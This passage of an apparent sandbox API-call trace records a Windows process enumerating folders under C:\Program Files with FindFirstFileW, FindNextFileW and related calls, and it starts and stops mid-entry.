hFindFile=0x593260) returned 1 [0050.936] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0050.936] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0050.936] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.936] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0050.936] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0050.936] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0050.936] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0050.936] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3830090 | out: hHeap=0xb80000) returned 1 [0050.937] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0050.937] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0050.937] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0050.937] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.938] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0050.938] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0050.938] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0050.938] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0050.938] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0050.938] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.938] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0050.939] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0050.939] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0050.939] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", lpFindFileData=0x2fae4f8 | out: lpFindFileData=0x2fae4f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0050.939] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0050.939] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3840098 | out: hHeap=0xb80000) returned 1 [0050.940] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0050.940] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3830090 | out: hHeap=0xb80000) returned 1 [0050.940] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0050.940] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0050.941] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0050.941] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.941] FindClose (in: hFindFile=0x5931a0 | out: hFindFile=0x5931a0) returned 1 [0050.941] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0050.941] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931a0 [0050.941] FindClose (in: hFindFile=0x5931a0 | out: hFindFile=0x5931a0) returned 1 [0050.941] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0050.941] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\*", lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931a0 [0050.941] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0051.428] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0051.429] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0051.429] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x2fae4f8 | out: lpFindFileData=0x2fae4f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0051.429] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0051.430] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3840098 | out: hHeap=0xb80000) returned 1 [0051.430] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0051.430] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3830090 | out: hHeap=0xb80000) returned 1 [0051.430] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0051.430] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0051.431] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0051.431] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0051.431] FindClose (in: hFindFile=0x5931a0 | out: hFindFile=0x5931a0) returned 1 [0051.431] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0051.431] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0052.303] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0052.386] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0052.386] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0052.387] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0052.387] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0052.387] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0052.387] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0052.387] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0052.388] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0052.388] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0052.405] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0052.476] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0052.477] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0052.478] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0052.478] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0052.478] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0052.484] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0052.484] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0052.484] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0052.484] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0052.484] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0052.484] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0052.486] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0052.487] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0052.487] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0052.487] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0052.487] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0052.487] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0052.487] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0052.489] FindClose (in: hFindFile=0x593020 | out: hFindFile=0x593020) returned 1 [0052.489] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11d6fb8 | out: hHeap=0xb80000) returned 1 [0052.490] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593020 [0052.491] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\*", lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0052.491] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0052.491] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0052.492] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*", lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930a0 [0052.494] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0052.498] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0052.501] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0052.502] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0052.502] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0052.504] GetLastError () returned 0x12 [0052.505] SetLastError (dwErrCode=0x12) [0052.505] GetLastError () returned 0x12 [0052.505] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0052.505] GetLastError () returned 0x12 [0052.505] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75d, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0052.505] GetLastError () returned 0x12 [0052.505] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: 